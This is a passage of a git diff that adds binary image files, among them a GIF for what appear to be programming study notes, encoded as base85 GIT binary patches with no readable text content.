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

literal 0
HcmV?d00001

diff --git a/docs/notes/pics/_u4ECE_u5C3E_u5230_u5934_u6253_1548503461113.gif b/docs/notes/pics/_u4ECE_u5C3E_u5230_u5934_u6253_1548503461113.gif
new file mode 100644
index 0000000000000000000000000000000000000000..8c0ba8e3803033d1e3dd1041897bdf432b6debe6
GIT binary patch
literal 15360
zcmeI32T+s$y64~Y&=YE?Mp2r8QIM_%=|u!V1VzLSh!CWR*g}ymh9c4ly?3Mwp(#~C
zkq*+UAWgcsuj2pSbM8HRc6a9P+?}11VVF#K8Q{m{`MlrqXlSX+$zQdD9)_#~02+qE
zA{p3OIXJnvxp3Uv+&nzIeE9tb#E%dZl!#gy>gUd!xnO+Z-fi<+_O6bP+}*u=Uxo(9
z#zZG3CZ=WOC+Ahg6}1*t)YaD2w>H&(c;C|5+1}gNKREQ|%kb!z(W$Pnh33)k)gzlV
zBU|srw%RARd#1MsXa4<TXm)#OX8YIY+3oSUwYAm7^|j^AjrFaq%`Nb;y|caZW9P?@
z-T$q}pUZy!{JD4ezdiX6-~B&(9lY#cU;4j&R{#8v|M^${$$w|>*Zx1c0K9nrPX;|T
zBSRHseYInf1Q-MWfc=|rcq4!Y#KGslueS++-UT%1_%!pVH6Ca-F|)?J_&RTlpmwxo
zenNvkPRe?qF+cI$3%rUSpH@LqQ;3LRhFMcVa?2~i_2y`;!j!fsIfvPSroz+@aYPS#
ze(j>PjzrB6vCGXx>7P>d6SZTsUuS&IG%2(mY<`{Dooi9&$FEbI)mv!!DdTcWadv+R
zX{<R$rzB^v!ewQ4u%#sTOEnqBAfQ{CH&W-rcG$eNG=J<JMNlVJx2#~IC0y#xP^+mO
zl8)s7O-@9`-2;hLlB*o1)p#(*TyJr%xa#J~bVNvmrjMzE4ken4TWq)~!+8@e<%S6u
z7#zjMTuWUXb`S7i#{ox71nZvh6xQwffAMvL1aPt7%<}SyuZfKGHZ&5=g8dl-{i%bC
z7J}~XID!&^9>u8H?#9R_4Ga;n;=~#hyEIVao@kjzv#-M%!QgMt<N-Eg&qPLb;C<v8
z$lDV{HxksIOk~_ALL3%h8}4=^9@oUzI2}KjSHr|CgI6JQNfUUGt@7U2VeA2{b<Yzm
zhG`<a1fa$;u~U}9IQx7V!YD%+9`d;nro{@|_sD|wl7~Pgh8^pq(ooXki?t#QW>kQY
zRfgaPXNN0jJ0;4IuQ)NbqG2#LYD6-TiO?+qf52HT!gy4b1Yx>JFAYJ;N-xr&Qayy^
zh_saQ4kU9Ag-qUMw-5tR7)$Dm2$LmVAC)g=`UOUKv<RS}dVm{|pi8|7XOyN!20i+S
zi^+#E-M`|@BAr)*#9~%ysAD4SX^%V7tryBzm1&ufV`g|78P#JkPQp1}YKIA^&Iy+=
zS7KCB(Q5b_Y9&**TO923edQ3SJVpEo%!vk&*&@9b8gNI9uE3sX%V}3NeD<GnLVUh3
zmKgV07*dbA+auw`A<+MgNZ^fF6q)68REA2qL;w!lD2dfXMnd}v3QHo@K=@PvUfTVW
z)(1nRwMpVI_GZj?^2>9i4EWix4O%{mZ8h^VlPan%nqQo%%*f3wv0ld1p0@&Jl%u%q
zLgCWk(mBw_q)0Na6cyrv(Qlt`Jto~li^1Sb%>WjoKpN7;8DC?YSoAzOTj(sw;xUGV
zuY>YcaziE^N&>Bs+cNr&Zc?<zHMHL2QFf1G%<)wBC)%yVWJ@8*c7{d-0}Khh1wd?M
z35tDv7#m`ph)mC{{bQ72OyS&cNCf{}jTLRbgD>m&rC?*3{&^BMlvfVM-l>1305g8d
z?S9)eTNtYRYEK-2assU>3gy9bBk-hD9vl3<5&vNy3tD`FyoD2tj`EU^N=8#`*pFN2
zeQy`U(1}y;F_35|qRam8j#L;=>E$e$&aC>!Bz7LNLAc|23UfQ^`0jWJ71MU!gV{n0
zk6r8$VJE@pY~JZyR}f(F)@%?nSJmXg2_S5#0KMswzeOk7%~%A3?l~M_sVk_aM9W|0
z(|Jw`5LC6rzf<U23Up~r6j*P3cXDg#1(`7kkJ4&9&9hAL(M>wQ)zql2upC4QNIEF2
z)uerKIXJvENocBzjBr^Fp)w|mXlON`Jx68}2r?19(A0eHz&k-^%VhD}WesO8=0gy8
zvgG}y7W1v;SG0pfh+c#?489WH2)_k2@5Q2UQW5Q{lY|*d9kJ14kiym!k!M=1fsQl)
z)}A7F%9MQbNqqzwmnv7L)n-k<6e+CfrZlDX!L@HC_WN!<5#r^mZRc(XU8+wdqAs3A
zg@#1%DW}q*o7>&2X}~APDNJsJJEzHN0<JAhT{hC-@p54}j6zhC*ZvrMtCKqEnGC^L
zKtsxll31RnsUFhoc-3c=C@?RiQN{f+XlON6L~UA~ed|-g+oCY3=N4!DT|Y&yIi&tv
z6*auf)9H{?lx+BT#-KmKs9WNArjV1ErW(C*hCpYAxJ0H_N#Ezi$LF(oIWkW@q`wes
zd_LJKdrrN#&p0>CFvImtnpwPdH!XHG%cUXX>XGK|s(Z`1{teR>vbBZ<>Rk!<?@pdS
za;M|1g0rRF<*zr6pEITL$Q05Iir+r5-AjGem6zDIt7#?Q5A9?=|N7O<yLXPR_0isP
z3KmXe-93J~^Ydx;^a>}58}i%z{_ypJx;9OFhlgf4LhIMwe4a+~Pymz<HGR8tMul;r
zK|uX;@;=MX%&I$|rX|Or*bSN?)3M91&fy`P1PKkNhnF30awT$$002@6SSv3oqsIaO
zyq$c8d%TSA2N8x;vVh}yk`~Tu!jaJc+Qp)ZsV-YfmI46d-6=csb{V@5JLoRa;Ji=B
zPwaWjF|r2%c5}jyljxD>x9|XGSf20gM?ImZZ`8@Flgnc-UI{)&q^YReJDqRsp9l*@
z@QNri2mt_hwNV_LN@KJnP9BTeY`tkr+6_dBllj+868R`J-$R(2g+fH6<@=S0pvqf-
zNCYg}vfu@T0w6nklSNbRMVJJ1FcZlDs+6Sly?09c($+_Ib232xaKf*6zWtCBIr8Y4
zSsg(<1lo8<OUlBHwKTku`%F=SM*Xz^E)HO%NNb5+o;AOs0EDT1^W-MFuLbsXH>Tue
z=v?f$pkta+Xna2Vh%1yHj)w?t+=D<Zl6M|#_Yd#Nr1KNqR_Oablow|L%$Nmd?}w0Z
zW+E#?o=u3trA))X;-c)GkIdlV&ZI0!%PTLs^X?2I-YrG4Eb{P@M%#E!;NoHL4MMws
z5!@-cI0qYE+yK7)K(TDv?$t=U$BBL&am7Ri1@d)2o#MBw+{d8;i;1bHl@i&CNd{8U
zn3E0<p#rz>HR`z9slFN*_n(y2I0TFvKxh!Z80l8Q17zm=!(%KmvRZaA*VC#)ryzHv
z5Z8#LE#{acwJUQSL3($R?LrY4{nGn){f0ds0dwfGO*Pq*7P<YVX-p3wOwEB9<;2J1
z2VWlVzbSQ>lMKKQk)1SB^?EEELJ`7^m6L~_8sr()FTOfebC#oe<Grq8rc<iV(8%nj
zFS#lw>Bx^;dZ#{jp1twi`tBQ5bC&L&mXlINw=?Dsxo;QDo;*-_A@keQrxC+kP8(R!
zlO``%g2rDtZMNnHtUTSNf9#`qDzkInx8Co5Kfa#5wLSb}+DxLlXHl_!%R-`hQ_$l{
zxnXR<#TQxIywIOn%};k<7(DGudGhkzgHPTjk>~BazCQ(ea8MVEb&ZRg-A~Zr7wK^(
zj6G!kCGu4cw}Rttsps8FoZQAsoO#fXCX66rrS9TA?vfksN2c9q-_H_EJY+W9yWuV$
zU!Rlh@i<}WF5L47K>)UmJk?!1HN!o%H9bcUxv8dk>f@eirRk`LT|6uD%mnvL*YdKm
zh^OhsvvWP3`_NuD!adKsT)G+VrRHOH*@v5Z(Tjxhz9;AHXyR?329ZIUIhT4rD)oNg
zgXL-Wc9-*U>G6sTvfuRy_wh3!;q!e0H+-J@U@3CGzLq{=F23R6zLBNA(LKJg8@^PW
zUxJ)pl8Il6i(gu}Uq-24R*zrKhF>1ezd+8v$i%<c#lJM%zr57Hvd6z_!=Hu=sFe$-
zHwk#_642<Qaf}SX;jirPfZ(VQv+#h3aR|x+U?V)|SprZrsm^J=E)$>^$I6m-?!?OT
zV)no>H0y*9Fy#{%nH1O;j-B5KT=dae)(o6<d9maIjLN;h8NAprdA?g3xNkoN_CRa1
zF>pJa5>`Y(^-`F%v@kPRw0uyAQ4qg<5RO}mrwPl~8}wo|h!-1tpjY!?*>lzh!GWQ{
ztEIu>O}m<s+!O+Lh@W%_*VSMdUrjkHtU_6cS7!*vQV3B?^RyOL)il)IF_bMRRGUsy
zR}`za8Ty3%CHCk`qb3bwI;=^=OV^^8EFCY+eKjm*FxTY6oQ=Ym?87WYHLRO3Hoak_
z)i4I^t9udZj_DZZ2d}P%zM{*2^=MP=i7$rC9e!Rq9AyyhC9mpZh4Cv3XYCAMKNmuY
z2t&|O<h3GR&V;>6f3Z*+aiuqcaWjId6_&sqlw=wiw)rB~>O}^(M(~V8<YwgK2a%le
zQAMKR#brUI5mDY{QTX1ds-|$7X>hH4bdYJZSVUx_X;hYcWKM6iF?$qjDg5ID$xcyB
z*Y1OujNllLd(i{(vO{GtBUVCVbg>hn(o;>*GZE1rd?P!0V}}c4mqg>TRpQn}RW~By
zutjk@@^Q_Z!CyDy?v2I4#bP1aAuv~}@^va>Ml4-q1j81UYmCb7ca+mLemXdw$6AuF
zFFt)a9&a6soei0mPZ-^wAfj+UtUO`=#{|j9ghL9U!aRvFkVF|VUb)CbS%pMR(?q36
zZbhD?$fHTBe%$J=Nnt@r+S=T@eM!MfN&58M=M<6y4U&zUaVC+;e)-8}emL{3WG`&W
zHErCDiz)8*DVFp&>++N*9VxcWTqK@U*Q2S9eq7G3sm?*EuG(CW`cm&LrIP8ncHI@y
zYz@-9nmK(U)2#E;0{l1wx6*E5(}T4+LocRZvriAF=Zq{*H}6P~ZRVizWL%67<RWFH
zMP_7_XJnOUOdG`|HK*)a0!0@yi(NBIBQwjj?ecgs?PgzChkLQjX4;iYymifLjLd2-
z&uZlHt#9TE#bu+{vpO$kce!TwL}vGuXAksc4{c=+^W=;w<cw=)=Xn6=;mc<cu!+wY
z0_F7l#T<vD5V<e_MX=x`YqL{<1H)OU5y-$KblHz<T?{HsfbqTsB#Cggu3Ri6k6tnF
zzT0(9qDG4Y<k2<2^A=>e16cRF(pfKzqT~oI9)+|B)9dH6@^WGHcds&AK#mhNn5g+1
z9I&6xJUsomT^o)}q`L=!e4EajOXUUDZh87%w$TI_lRsaUI&AscwT|o8Q2oFVBA;yy
zP|+!}R)!y?K(M4-Bp%AhKuS}E7bgJhnMHtxhRiSt(77s>`P%mCVGbR*3<ieID`sk;
z`?lpEnNrNGh_Ul8MiZd-6iXnO;xsr6p;-JQ5^`1;7Ju!UbxVF}0l*35(Gj7%NQi<<
z>CL0XND|M3%)IN{1*awjSLt8#P)d7Q0XQCtnS&B2C2kDmRyD%(>yC%;n65QP8>3t-
z24Fi4=O*RyK7<wOz`G^^Q~!!<$}j>{lKnJ%>b3!Fmk660DLS^OtxACPUn;ggfKeq>
zwLh$yj;flisQTJpwXj{a$XmUvSiO3wdhKELMpX4yMfFa9_3m~xz(<2B(coq@<Rcn7
znnqtqV;rC{@6a%OHLOZC>}EBbk7{rO3J}OIu?=Yib+-6XKnmc36a(JJ+Kz#`d}wy3
zsi_HtLjCyhgMoozeSJMACkG0JV%gYPu&f+h+&FF?|KQkj#+Rd$^82SY2d1~K+_<Z)
ztvxg}G%&Nn%gfs_xdmEEXADe0XN!@Exo>(035TK(@Zh%f92W+FLtPey=$~AVO3b@_
z%^C`*A>eQr4C)&cQ<?PQnvn*Em5qssNlQy>|Ni|@7<{NBb!c`A0)?J1uyKv+fI=Y@
zlYM=oJtzbO4(EkBRa<Aw@9gZbv2$RttSlJp%b0Wmfq+J%2SBfDc86qsQrfvXe{j|2
zC{pxEL(kM!WuRs^_#2k{B5&kE_MPdS-frny=%3jc8f{g!^nK`b`{U#ml<42vU%Rof
zapi{1(CjK4ZZb66*_{7M#_3Jy`}NN5>8g&|f#&?1r}$m-$AlT^9c7X3HQ$G3w%9qj
zn3!2|b8|m-P4!G{aB$&rA1l+L;Cgh(_tV=fEG)efYeTd19;&Fp>2)NMuPf8BZ+aUJ
zHAcd@Zzpv9GCuzG_-{G^&}@RC|CmioP?LXbHhI&5X47W=UuIMANaHI4s(8<AlD$65
z?z?9;E%3P#ew$6!2b+yjK7wWw{oQ7xUuKixx$MYaW)oWpD*`l|F667UWnA87pVuoU
zjcqw*8iHn%_{`gS&}`CpL-;{2V1`}Psr6y2kZyHICpJ(DkJ&~WTpe%G7WN(p#}wYC
zMyhb_=$5BUe}aga_2`$sHtvi+Z-*HzU(@KxzdN_<|8RNXOY}n&+MK;~skzoy@x=R`
zgvF7-c-c7HCHe1jQrXwP?3T-}e-nDW>#;AFPiAwa@lE2Dvj$4r>&%07aYvr+Zf~u1
zk9~Oh<kZil-5=|h$xvGj3%Bk=-ox&UGSkBz7<G{mPj+L=k!QGDX(L{I&eJ2_crTGr
zpMznRqrM_3X`_DP#nYqygtsDN0n%NTW6$L#)5Zdo)~3f^5Rsze6je^E@gPm1^zmR_
znVInreRa`^P$OfjiI*m~(kH^qoM$FpS$K&~hTjOYnvAeaNuP|gDV~{(BE1!zigxU>
znu>9mOrMH<v^FypM@EWGQ$0DYr{jHuGNuy(WM-!mDe7V~NukEpGs%X`!%&DyC9x)z
z>LoUtmgGkd!#dmKPXTb!q6%y`@2%KeR#BJsVGJLRM9Y8|QEOl{<l(P*^_)6cNag9~
zOsLoZwx+OM{qTHIr*=yNw0X8E1Inz4r<DwQ9bPCM_fv!vS6J%+B|~9z3l)<I6*eV{
zUE2#~y_01UZ`Rg$?W$ZB`g5w`V^KL(bIUq;)yNNui?wSqS&|hPDe-Uh^cNU&>(Pc;
z_HX!5(TjEaUhyu+K)e0l(TjIlsPJ>b0+t&Wo%g@vlWoVqSWQ+R7Q~2FABORp9*lp+
zYVLDYxt{BO^wBb@0A+RTmGKc2TE}Ccs8OKq4jiYkgGC}w+MRIdUi6}RpvkKS#jV6o
zHn{@w!+9Dk`~;@^?J>&zQILK67Kc5DP!2y<OV3gvh~6_Ud2lvQMMgUgtFIOf9D>nQ
zBuCJ7-Q`m5(5py#QB`{{b~~;oYa?Sh%C)?Pv>>M`y{G2O)fw-eug#C`ww4T3hRi9(
zJVw2!7=OENTfC6Pduk`TLHOtV%02ZXC%)TXj8j@8S%2GEu6DQtg^$0o+ufW_eOg5~
z%vNp7$5?;l=gw-k-P0d7MfoM$bgSQf{sb7Q0IH|@hw=v|v?dkG)ks4sEV|LJLgMI&
zHS`x3-Epl{qy(Bw{%t4k5$*v<xDNp3ZwLoM3j`a8w>{K>U<2_6rZ9d%(MOIPp`)V*
zxdl?q()K=xIs@ZNeG_0}1Av1YjzAohk|mKyU|ItXZs6!6kTDDlj7i;VAXGq#49xDp
z;owyWEGrut2^*RnOmk8O5m-CE`PxkxaHxViSHs|l!RZYo0?N+L5pONV%*;YhPcI-K
z0EIx3x>kpJK0(DCQ~NfCT4DhRv^Gd<s3q=p+B~~KB8Xua42D9Xbqy{ck;u{>kc+U`
zy8``_8-BqtR+rU5?t<70H9|j#@0RoJ?48;+yJlTjSg31Y(l@!z$jDSsP*7P}$-u~j
zf<p&qwh&OR-pQFW;e%)dlnx1l0sy=GBM^8fG#%MH*x>vn43^E(*7@R<+kKN8*KU&<
z8yh(|I6%U|q{-@N1Og6&Kp>TgVJA)-nm<jCzoU#sz%=NPN!{zoaS=_C=Rx@WHx2WD
z{n&qS0{<(*WrgQ~aSHFBIOX|1!wf!`y*MQ&dgkcwI7K0;X@&Y8j8nY6YK11ZgK>(a
z_(dZyPLYdXeFnxUTInaUtq1+EhtK9%)SX<_Hq7eHyKy`Aa^~@Q?P5}V`FZXV+mB_U
z^RrBTTuJKg4`B{p`?1NVYkYWFC3j@6UaR*P-1o%nLcvWp+%YpM<9fkFD;I@iK4*Gt
zx+6*Fi29(Z6HtdXz2MBmn`cvzb48ZZMUk{HL=)U)){7ol9IbyLh{}1iIY0T{ROQ7<
zR|Ti$u3X{wIhP6R3lFPzJ>H#psC0X2@=~VW(<<rh^~JH4xU<z&Kejhk=DvKWt_J4|
zQe>D6=d>JlLkp$-*AnjB4I1Ntb{g#u;q;o`q7fKkA_Ub4ctHOUPD_aH?v1hu$iXyw
zB>WHI<b`?AY4U=v=ne+G1^y6DVH)<px@-zUr%E6Le+Z`_n&8^pn3@>oJS&<UE|wvh
z82!ZBIyFA0cRDe(*wrdwHzRCzHY;7Sd^W4JOJO#<v^?WZKvY5BTzYja?rUB)=k{oR
zV`N5_f2+*gOreB&zZK%1$Wau(8i^vFRorZCg*Y0jufnHZ8l-}*cdy7SeL1^`WR@Y>
z!}%^-w%exAg2l3uWyeQ6t6VD=;q2RfeMfR*B;yfm(D3$p&XZIMDeI@}#To(g9g2I&
z`|=7x<yfqKEz%|Lp?xX$1?$uN&YmL>bd{e?R&|_Td@UDmt8Qjn%jj1tmiy#<6$VZd
zS}p2ub^mgb(hcRBPQzT9W8=<HYhJRX{?VH5D|7v;jc0WZi@p}Wct<9UsB(C<?`6W9
zgg%mnSc#uww*<{*P;~OL>=%(OCfQ+O`YM?bAs$<q(L-XA5@QFKwcbKQFW7EQgx?N)
zz<#$x1cBuY=%7s}y|Ue!NsE*8L@SFhCUOWm>OX@Ob=z*wmreyLa`FQPV;n&EQ8jK>
zcDtRWM&VqgWtD+a<hj4qSG6F0ya21ep$|w0kUk)KKmdV43j^ww-vDA}!8{=QfrH)Q
zfd@z*5Ix}R1yS`YwV&Ooo7jZv#_FOFLmep~2!>`SKu8TtZuEUfmWRVZh?rfqx?}&a
zGRPv-LJI`SIa^y491rNmg2(`M5y%LT4*k>HAP)S3V?mNQKlTD~&@j2hhlJ}O5#ZP#
zoZbQ_{O!BWST?px7M9G+%;2a8X%=dI3Wb0T^}YvjcG5aO;r(|60!j4@21iWjdHR1a
zX#VxmzfRykoxne#j~YM+hWReP!~Daxd|LM`8o@AMPrT_|V)HA)+2ZI21du-LR<qKe
zzB(JA=(NjcEtRI9plQgH98qM|m@E~eJ&%4p(U~cq8CKuSk<gWWxlVFN`&^bufnb}L
zT8n|ig<{FUYtNz#7R<`g^X3gv7jliNj{i_VWa*O(YY|NQ)LRXY8oYhZ|I<@kfBAZI
znD;qm%7bH*?@!2jF#mYq*zqyts-GUe!|}OSIady=Nn8?|@55god;j>M?B}5>iCN|+
zSh=OK#*o8T-dC2bOtmNK#Ob{$|324Kc<0OeHx=vOhQTm@-`T3l%@u0~3XWFw<~MzA
zS9<_!P}Dhm&ma0UdO+4LdtYHD5U79X!#qm?+}8Q2WCk%^>K}c@f0A(3t!pF|fU}~h
zfAp1vpJu!pX9613SLGstzMms3uLlx`O0Pc?PQi@_9SzhRf1xQOfAG1QjOawjp)Sj$
zP>plFi7!nKq#trRY2JG?@QNPSWVmve=wO6paQeYe-AP<M`g9{vIn2(O`w->055WV$
zF%WSp_R@l{Am-$bMLnI{sC;6qeN|cwRw#5BLUo6x-*U7WN>j$FI1*tgfy-#2SMq&C
z2$GAUFr8TNOx;y5GsjwcI^Anh^G;%Jq_t26aUn82DsNQma6oNXc~ZEXQ2$(kMh*?a
zpf|L2C+BWesi<Sjt<3D#cc63Gfy4L27D~l!x6MkXbJB7gz7`**RkStqOTKCC^_Q$_
znNgIiZr+@epfyF{++k?pti@VJ*;WF2;&gW{AcE<jHQ;V%ExqNl8>nO8zQI)o@QPb3
zH;JTXEjJ&2ny1{@Gf2ZQV>@kD+T^CPq~0?j;Qwxt2|%QPhkrN3e|NUH!R`w<$HBT(
zP*9MUmlxRM0!=Ri0|P#Oe$YPy@9A;eyr81k+}s=;9Zk!x-nU;+Th9m_=*N#AcXV_F
z1;*!*Wj;Q>l#~>|#_ynh2r&Zh!}Y-7-q6qh;sKod{QUf_t*sy@G<6N+PzYaNUr;ve
zX$B`JC(v(8%q+7YBET-!!1OlA6_2bhy;EbUsi}B8etLSkIU}$(!Yb<hx}l*V|2}+h
zFgUgKnxjo&pq`nWe;rL~Zf@R_E1+%xB>^`t-`lruiK_RE1W=%#$9LWl4%L&Dl^qxu
z0BHpB02Bb7UzR{m3l7oiei!$j-sb;$;s56o0Eal_FO%$7Ba4K`>|;Fer;&xdz-Rfp
zk%h#D<A{G6S$tG{jXDKvWU>2DYuwp6@9j0RVs$Q7MQatM)kZSpn3?P~vf_*})<qeg
z-85y<J$sF;YCWe1uWdTAu71iuC_1P0mh9`uiODRM7^o1K_&7NCS#qeF;rlZGSFXGf
zip*<fbF+=S>wr7gr@K2nq#I3lL@(?<<aW5&7WK_}tu@Trvc*^Htjyy`2kR=O$W@mD
zF2}io#2Rb+;D$QyzAU@Cw!xR0SPm8U4WyoN>2&v<XBKV;1e=#Xx5ZQ+dhg`@oELw3
z*DUVNrESw`>)W9i?2|{6!;{(fzBQZg*nPDfyAbo?b=7wH;>`Uas9(p#m&fA>kzw7P
zyH0qAO^HUl>zxxmah}@-rD3enp|lGRaFfaL*4IRF*USWidpLZAWjd+1#fxz!eqy#9
zi2-zPe0rbD2_z-nP+Bu-e-RKNGHxK<1x|A5L+PWzx~y8^LAqO(hK%et_Dr&yuTJTk
zPEcf&E&iBfcO>zX;U*D8+FvG_{B38Fn4>%7FO$rYsxH?qtb&mK%Os;nf+kt`t&EwJ
zXy@6PKPFk2^=x`tO2%wPR`Kj?=AKFR3TZKyT{@XDms2@QZ=L(gB+ISkypxqp?V{DA
z71&8%3ybxR*3$VsQBY<k3=acEAF39~?5t#k8W`L$Pom`QEgA$la#1IzY&xaFwjwt0
z(n8r1GE=f*w94PE>dk_VUFupb10fH({_tB3`a@=34db`Syb1;l@%%b=6`P|uY~6F;
z-j+M-F22J%1mwTtcx98>7|pq3*CcK?ThLtcHfyF;8fD>-BKN6MD&<7x&PuX!-J|73
zQHIBkEeE$Ni(1bdZnJxP#6zhlS?$t~)iwj(6UUo*9-bh4((?a7`pkRfjb)dWU7JJq
z#i!35d+c8@IrTcl#S|*Nw*^~f{r4QK$qZUbn3@qE;hc@pfFrgI*n^(d0KG(B-p7gX
zC{I<6AP;LA(Z~|NwI?BxLwGQMPm{*KGo--&FNhKl86ZtSSS&6sf)D`#0TKix1qcWb
zA0Q(@=y3f`V1$H(`1k}slz@BzqZrVi0^#EB8v>FAjA9&JJx-iB;o;!{P9jh$fD!_<
zX+V^q;1G~00%!yZ0f0bZH;4koMt45>*|TS0T*HOqSy@@3qoZ3`SlF|%zJ2@FJ-Mx<
zqy#FBvayZY+S=05jj*t=G<yaxkO3eNcXxLT1~WLbvlrLwMK|^J^*!Tj8af6UU?Mrb
z0fMP#YDY==+SPMv000@9eIH<UKt)9bi^YN}1+>P7hTo;VB&(~db8>Qm%mQN^#|Iu@
zp2K%O0qi=1Ne-Cjfb~#MPtUcrHAY58FSY$OH8pkx%SagRdSGcwOUqL)%FyJ5si~<&
z((KUW;Jy29tZeLVZf>CL0mToP4ymcBA)so3fq_HApIKR1pPt?C>goy#9x&kn*%xJY
zKrOgWTwEM9#W>EzfC7n|hY!?Xj~_qA;cz5rv^#Az=Me)$JE~-Kt-GUbX!t$BsrJLf
z78v-X<W{N%^&#Ql-!;)c{>f8|u6KF|%z4~=LK;RlMMXsq95@hab|5Yy#OL+&FURm-
zkH0yA|45U)elO3X5bB?PuO-&2ey`sfJOZb~ocq)7#USw_zx%xhg;h1r#qafdIs7z*
z-h+me(B}wrlh<Cq_k4yhz4}YA-^-Eko*4)C+3WY-JZ=%w`x@-`Ua3on(UG0+D{)zo
zd=3=nTq(CMoaNUwxiL`f(}uit3GDZJd9&$o=56Fpv>*k~s+(~a-foGM-JahmlOAbL
zfP6XLrf_7o(^9J>w(a|In}$rQIb-W>8PnbhkEceCNyJ-K_vXrLmg}1$&mP=`a_J3@
z#N#~Mar=6rY(k};sqYfGuUcxYmVe63JZnOO`(OkdZN8lhYw*>eNZ&md;`M2IU=9&Z
zVLeJFs-R^XHR4Qy0#0j-Lgn0{d}nrq!^t>KN0f*l8F1%EOS%tS(N(>V5PTqg?b)+{
zn{qe-f%?73<$6H8<Me(sf7gDEdrunnYtx13AK)iTPQFC&@00!$xu6WQ^2Q$GTRRXG
z$NBwgbYkNq0as0-O=AWWhWaORAy~!>GCeBFYw&rZ^${g>Wt;%JeKWEwR^U7tgXXx=
zNu;?$ZyZ2}EAG%uKXcEy;KhxHLp&3pN3Fl$PHkXLqdj_P*OGC|dG7m;VTkSSyH8ii
zwJ-5z*Tf=16SVnp$86TcVja&PsLiXVx4)57j+~lR28Drn0aPZcudqEwINP$*_|o9(
zsGFJDqyfFj`I3rfhkHxMKi;yvHl5PnR~}M4y--ZsayG752}6F%U!LS0xDa*&zes~~
z*(}x|O0a3wv+9fP2#kjKQa$?x-6aMrzGcydjd6JC9o}1fx$)rBfp2dM^RLpH#Y?^}
zw-Da7E<;2Z)+a$p@by-k()!nx4@9uv+pfxWceO)PID7S@uI&8kCw&cx@0~^$?tcGl
zay$Ebm)ZUK@7)&O5^Fs-Ufo^mwM@-k>$54DU+X8mlUN^c?7q7`=rWbPzB}}2eSZB5
